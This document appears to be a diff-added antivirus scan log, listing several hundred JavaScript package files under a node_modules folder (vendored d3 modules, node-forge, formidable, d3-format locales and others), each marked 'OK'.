+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/order/insideOut.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/order/ascending.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/order/appearance.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/line.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/pie.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/symbol.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/link.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/curve/linearClosed.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/curve/radial.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/curve/basisOpen.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/curve/linear.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/curve/catmullRom.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/curve/cardinalClosed.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/curve/bundle.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/curve/monotone.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/curve/basis.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/curve/natural.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/curve/cardinalOpen.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/curve/catmullRomClosed.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/curve/cardinal.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/curve/step.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/curve/catmullRomOpen.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/curve/bump.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/curve/basisClosed.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/index.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/symbol/circle.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/symbol/x.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/symbol/triangle2.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/symbol/star.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/symbol/cross.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/symbol/wye.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/symbol/diamond.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/symbol/plus.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/symbol/square.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/symbol/asterisk.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/symbol/square2.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/symbol/triangle.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/symbol/diamond2.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/pointRadial.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/descending.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/array.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/offset/silhouette.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/offset/diverging.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/offset/none.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/offset/wiggle.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/offset/expand.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/arc.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/constant.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/math.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/lineRadial.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/identity.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/area.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/point.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/areaRadial.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/noop.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-shape/src/stack.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/LICENSE: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/number.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/range.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/sort.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/pairs.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/ticks.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/reverse.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/deviation.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/every.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/greatestIndex.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/variance.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/least.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/bin.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/maxIndex.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/cross.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/merge.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/permute.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/superset.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/max.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/fsum.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/difference.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/reduce.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/bisect.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/index.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/quantile.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/some.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/descending.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/array.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/extent.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/intersection.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/sum.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/cumsum.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/threshold/scott.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/threshold/freedmanDiaconis.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/threshold/sturges.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/leastIndex.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/bisector.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/ascending.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/constant.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/count.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/disjoint.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/union.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/minIndex.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/identity.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/rank.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/transpose.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/subset.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/groupSort.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/zip.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/greatest.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/mode.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/shuffle.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/mean.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/min.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/quickselect.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/map.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/scan.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/filter.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/nice.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/group.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-array/src/median.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/LICENSE: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/number.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/radial.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/linear.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/diverging.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/pow.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/band.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/time.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/quantize.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/log.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/index.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/sequentialQuantile.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/quantile.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/ordinal.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/init.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/symlog.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/continuous.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/constant.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/colors.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/tickFormat.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/identity.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/sequential.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/threshold.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/utcTime.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-scale/src/nice.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-color/LICENSE: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-color/src/index.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-color/src/define.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-color/src/color.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-color/src/cubehelix.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-color/src/math.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-color/src/lab.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-timer/LICENSE: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-timer/src/timer.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-timer/src/timeout.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-timer/src/interval.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-timer/src/index.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time-format/LICENSE: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time-format/src/isoParse.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time-format/src/index.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time-format/src/defaultLocale.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time-format/src/isoFormat.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time-format/src/locale.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/LICENSE: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/number.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/discrete.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/hsl.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/basis.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/object.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/quantize.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/index.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/zoom.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/color.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/hcl.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/array.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/numberArray.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/cubehelix.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/string.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/piecewise.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/value.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/constant.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/lab.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/date.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/round.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/hue.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/transform/decompose.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/transform/index.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/transform/parse.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/rgb.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-interpolate/src/basisClosed.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/LICENSE: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/src/duration.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/src/second.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/src/ticks.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/src/utcWeek.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/src/utcMonth.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/src/utcMinute.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/src/utcHour.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/src/interval.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/src/index.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/src/year.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/src/week.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/src/month.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/src/utcYear.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/src/day.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/src/utcDay.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/src/minute.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/src/millisecond.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-time/src/hour.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-path/LICENSE: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-path/src/index.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-path/src/path.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-voronoi/LICENSE: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-voronoi/src/Cell.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-voronoi/src/Circle.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-voronoi/src/Beach.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-voronoi/src/RedBlackTree.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-voronoi/src/index.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-voronoi/src/Diagram.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-voronoi/src/Edge.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-voronoi/src/constant.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-voronoi/src/point.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-voronoi/src/voronoi.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-ease/LICENSE: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-ease/src/linear.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-ease/src/circle.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-ease/src/poly.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-ease/src/quad.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-ease/src/index.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-ease/src/cubic.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-ease/src/math.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-ease/src/sin.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-ease/src/exp.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-ease/src/back.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-ease/src/bounce.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/d3-ease/src/elastic.js: OK
+/scan/node_modules/victory-vendor/lib-vendor/internmap/LICENSE: OK
+/scan/node_modules/victory-vendor/lib-vendor/internmap/src/index.js: OK
+/scan/node_modules/victory-vendor/d3-array.d.ts: OK
+/scan/node_modules/victory-vendor/d3-shape.js: OK
+/scan/node_modules/victory-vendor/d3-ease.d.ts: OK
+/scan/node_modules/fast-safe-stringify/test.js: OK
+/scan/node_modules/fast-safe-stringify/LICENSE: OK
+/scan/node_modules/fast-safe-stringify/CHANGELOG.md: OK
+/scan/node_modules/fast-safe-stringify/test-stable.js: OK
+/scan/node_modules/fast-safe-stringify/index.js: OK
+/scan/node_modules/fast-safe-stringify/benchmark.js: OK
+/scan/node_modules/fast-safe-stringify/readme.md: OK
+/scan/node_modules/fast-safe-stringify/package.json: OK
+/scan/node_modules/fast-safe-stringify/index.d.ts: OK
+/scan/node_modules/fast-safe-stringify/.travis.yml: OK
+/scan/node_modules/node-forge/LICENSE: OK
+/scan/node_modules/node-forge/dist/forge.min.js.map: OK
+/scan/node_modules/node-forge/dist/forge.all.min.js.map: OK
+/scan/node_modules/node-forge/dist/prime.worker.min.js: OK
+/scan/node_modules/node-forge/dist/prime.worker.min.js.map: OK
+/scan/node_modules/node-forge/dist/forge.min.js: OK
+/scan/node_modules/node-forge/dist/forge.all.min.js: OK
+/scan/node_modules/node-forge/README.md: OK
+/scan/node_modules/node-forge/flash/swf/SocketPool.swf: OK
+/scan/node_modules/node-forge/package.json: OK
+/scan/node_modules/node-forge/lib/tlssocket.js: OK
+/scan/node_modules/node-forge/lib/sha1.js: OK
+/scan/node_modules/node-forge/lib/sha256.js: OK
+/scan/node_modules/node-forge/lib/rsa.js: OK
+/scan/node_modules/node-forge/lib/asn1-validator.js: OK
+/scan/node_modules/node-forge/lib/aes.js: OK
+/scan/node_modules/node-forge/lib/util.js: OK
+/scan/node_modules/node-forge/lib/index.all.js: OK
+/scan/node_modules/node-forge/lib/pkcs12.js: OK
+/scan/node_modules/node-forge/lib/random.js: OK
+/scan/node_modules/node-forge/lib/md.all.js: OK
+/scan/node_modules/node-forge/lib/pkcs1.js: OK
+/scan/node_modules/node-forge/lib/rc2.js: OK
+/scan/node_modules/node-forge/lib/jsbn.js: OK
+/scan/node_modules/node-forge/lib/sha512.js: OK
+/scan/node_modules/node-forge/lib/prime.js: OK
+/scan/node_modules/node-forge/lib/md.js: OK
+/scan/node_modules/node-forge/lib/pem.js: OK
+/scan/node_modules/node-forge/lib/aesCipherSuites.js: OK
+/scan/node_modules/node-forge/lib/forge.js: OK
+/scan/node_modules/node-forge/lib/log.js: OK
+/scan/node_modules/node-forge/lib/x509.js: OK
+/scan/node_modules/node-forge/lib/index.js: OK
+/scan/node_modules/node-forge/lib/prng.js: OK
+/scan/node_modules/node-forge/lib/baseN.js: OK
+/scan/node_modules/node-forge/lib/socket.js: OK
+/scan/node_modules/node-forge/lib/hmac.js: OK
+/scan/node_modules/node-forge/lib/pss.js: OK
+/scan/node_modules/node-forge/lib/ssh.js: OK
+/scan/node_modules/node-forge/lib/prime.worker.js: OK
+/scan/node_modules/node-forge/lib/kem.js: OK
+/scan/node_modules/node-forge/lib/mgf1.js: OK
+/scan/node_modules/node-forge/lib/asn1.js: OK
+/scan/node_modules/node-forge/lib/mgf.js: OK
+/scan/node_modules/node-forge/lib/md5.js: OK
+/scan/node_modules/node-forge/lib/pki.js: OK
+/scan/node_modules/node-forge/lib/des.js: OK
+/scan/node_modules/node-forge/lib/cipherModes.js: OK
+/scan/node_modules/node-forge/lib/xhr.js: OK
+/scan/node_modules/node-forge/lib/oids.js: OK
+/scan/node_modules/node-forge/lib/form.js: OK
+/scan/node_modules/node-forge/lib/cipher.js: OK
+/scan/node_modules/node-forge/lib/tls.js: OK
+/scan/node_modules/node-forge/lib/pbkdf2.js: OK
+/scan/node_modules/node-forge/lib/pkcs7asn1.js: OK
+/scan/node_modules/node-forge/lib/http.js: OK
+/scan/node_modules/node-forge/lib/ed25519.js: OK
+/scan/node_modules/node-forge/lib/pbe.js: OK
+/scan/node_modules/node-forge/lib/pkcs7.js: OK
+/scan/node_modules/d3-format/locale/ar-SS.json: OK
+/scan/node_modules/d3-format/locale/ar-OM.json: OK
+/scan/node_modules/d3-format/locale/ar-MA.json: OK
+/scan/node_modules/d3-format/locale/ar-BH.json: OK
+/scan/node_modules/d3-format/locale/en-IN.json: OK
+/scan/node_modules/d3-format/locale/ar-IL.json: OK
+/scan/node_modules/d3-format/locale/ar-YE.json: OK
+/scan/node_modules/d3-format/locale/en-CA.json: OK
+/scan/node_modules/d3-format/locale/it-IT.json: OK
+/scan/node_modules/d3-format/locale/ar-KM.json: OK
+/scan/node_modules/d3-format/locale/ar-SY.json: OK
+/scan/node_modules/d3-format/locale/ko-KR.json: OK
+/scan/node_modules/d3-format/locale/ar-DZ.json: OK
+/scan/node_modules/d3-format/locale/es-ES.json: OK
+/scan/node_modules/d3-format/locale/ar-PS.json: OK
+/scan/node_modules/d3-format/locale/ar-MR.json: OK
+/scan/node_modules/d3-format/locale/ja-JP.json: OK
+/scan/node_modules/d3-format/locale/zh-CN.json: OK
+/scan/node_modules/d3-format/locale/ar-SA.json: OK
+/scan/node_modules/d3-format/locale/ar-AE.json: OK
+/scan/node_modules/d3-format/locale/hu-HU.json: OK
+/scan/node_modules/d3-format/locale/en-IE.json: OK
+/scan/node_modules/d3-format/locale/pt-PT.json: OK
+/scan/node_modules/d3-format/locale/ar-QA.json: OK
+/scan/node_modules/d3-format/locale/ar-LY.json: OK
+/scan/node_modules/d3-format/locale/ar-EH.json: OK
+/scan/node_modules/d3-format/locale/sv-SE.json: OK
+/scan/node_modules/d3-format/locale/es-BO.json: OK
+/scan/node_modules/d3-format/locale/uk-UA.json: OK
+/scan/node_modules/d3-format/locale/fr-CA.json: OK
+/scan/node_modules/d3-format/locale/pl-PL.json: OK
+/scan/node_modules/d3-format/locale/ar-ER.json: OK
+/scan/node_modules/d3-format/locale/ar-001.json: OK
+/scan/node_modules/d3-format/locale/ar-IQ.json: OK
+/scan/node_modules/d3-format/locale/ar-EG.json: OK
+/scan/node_modules/d3-format/locale/da-DK.json: OK
+/scan/node_modules/d3-format/locale/ar-JO.json: OK
+/scan/node_modules/d3-format/locale/ar-LB.json: OK
+/scan/node_modules/d3-format/locale/pt-BR.json: OK
+/scan/node_modules/d3-format/locale/de-DE.json: OK
+/scan/node_modules/d3-format/locale/ca-ES.json: OK
+/scan/node_modules/d3-format/locale/ar-TD.json: OK
+/scan/node_modules/d3-format/locale/ar-SO.json: OK
+/scan/node_modules/d3-format/locale/cs-CZ.json: OK
+/scan/node_modules/d3-format/locale/fr-FR.json: OK
+/scan/node_modules/d3-format/locale/ar-SD.json: OK
+/scan/node_modules/d3-format/locale/sl-SI.json: OK
+/scan/node_modules/d3-format/locale/ru-RU.json: OK
+/scan/node_modules/d3-format/locale/ar-KW.json: OK
+/scan/node_modules/d3-format/locale/mk-MK.json: OK
+/scan/node_modules/d3-format/locale/he-IL.json: OK
+/scan/node_modules/d3-format/locale/nl-NL.json: OK
+/scan/node_modules/d3-format/locale/en-US.json: OK
+/scan/node_modules/d3-format/locale/en-GB.json: OK
+/scan/node_modules/d3-format/locale/fi-FI.json: OK
+/scan/node_modules/d3-format/locale/ar-DJ.json: OK
+/scan/node_modules/d3-format/locale/de-CH.json: OK
+/scan/node_modules/d3-format/locale/es-MX.json: OK
+/scan/node_modules/d3-format/locale/ar-TN.json: OK
+/scan/node_modules/d3-format/LICENSE: OK
+/scan/node_modules/d3-format/dist/d3-format.min.js: OK
+/scan/node_modules/d3-format/dist/d3-format.js: OK
+/scan/node_modules/d3-format/README.md: OK
+/scan/node_modules/d3-format/package.json: OK
+/scan/node_modules/d3-format/src/formatGroup.js: OK
+/scan/node_modules/d3-format/src/formatDecimal.js: OK
+/scan/node_modules/d3-format/src/formatSpecifier.js: OK
+/scan/node_modules/d3-format/src/formatNumerals.js: OK
+/scan/node_modules/d3-format/src/precisionFixed.js: OK
+/scan/node_modules/d3-format/src/index.js: OK
+/scan/node_modules/d3-format/src/defaultLocale.js: OK
+/scan/node_modules/d3-format/src/precisionRound.js: OK
+/scan/node_modules/d3-format/src/formatTrim.js: OK
+/scan/node_modules/d3-format/src/formatRounded.js: OK
+/scan/node_modules/d3-format/src/identity.js: OK
+/scan/node_modules/d3-format/src/formatPrefixAuto.js: OK
+/scan/node_modules/d3-format/src/formatTypes.js: OK
+/scan/node_modules/d3-format/src/precisionPrefix.js: OK
+/scan/node_modules/d3-format/src/locale.js: OK
+/scan/node_modules/d3-format/src/exponent.js: OK
+/scan/node_modules/hsl-to-hex/test/index.js: OK
+/scan/node_modules/hsl-to-hex/index.js: OK
+/scan/node_modules/hsl-to-hex/readme.md: OK
+/scan/node_modules/hsl-to-hex/package.json: OK
+/scan/node_modules/hsl-to-hex/example.js: OK
+/scan/node_modules/formidable/README_pt_BR.md: OK
+/scan/node_modules/formidable/LICENSE: OK
+/scan/node_modules/formidable/dist/parsers/Querystring.cjs: OK
+/scan/node_modules/formidable/dist/parsers/Multipart.cjs: OK
+/scan/node_modules/formidable/dist/parsers/JSON.cjs: OK
+/scan/node_modules/formidable/dist/parsers/OctetStream.cjs: OK
+/scan/node_modules/formidable/dist/parsers/StreamingQuerystring.cjs: OK
+/scan/node_modules/formidable/dist/index.cjs: OK
+/scan/node_modules/formidable/dist/helpers/readBooleans.cjs: OK
+/scan/node_modules/formidable/dist/helpers/firstValues.cjs: OK
+/scan/node_modules/formidable/README.md: OK
+/scan/node_modules/formidable/package.json: OK
+/scan/node_modules/formidable/src/parsers/Multipart.js: OK
+/scan/node_modules/formidable/src/parsers/index.js: OK
+/scan/node_modules/formidable/src/parsers/Querystring.js: OK
+/scan/node_modules/formidable/src/parsers/Dummy.js: OK
+/scan/node_modules/formidable/src/parsers/OctetStream.js: OK
+/scan/node_modules/formidable/src/parsers/JSON.js: OK
+/scan/node_modules/formidable/src/parsers/StreamingQuerystring.js: OK
+/scan/node_modules/formidable/src/Formidable.js: OK
+/scan/node_modules/formidable/src/plugins/multipart.js: OK
+/scan/node_modules/formidable/src/plugins/index.js: OK
+/scan/node_modules/formidable/src/plugins/querystring.js: OK
+/scan/node_modules/formidable/src/plugins/octetstream.js: OK
+/scan/node_modules/formidable/src/plugins/json.js: OK
+/scan/node_modules/formidable/src/index.js: OK
+/scan/node_modules/formidable/src/FormidableError.js: OK
+/scan/node_modules/formidable/src/PersistentFile.js: OK
+/scan/node_modules/formidable/src/VolatileFile.js: OK
+/scan/node_modules/formidable/src/helpers/firstValues.js: OK
+/scan/node_modules/formidable/src/helpers/readBooleans.js: OK
+/scan/node_modules/zod/v4-mini/index.d.cts: OK
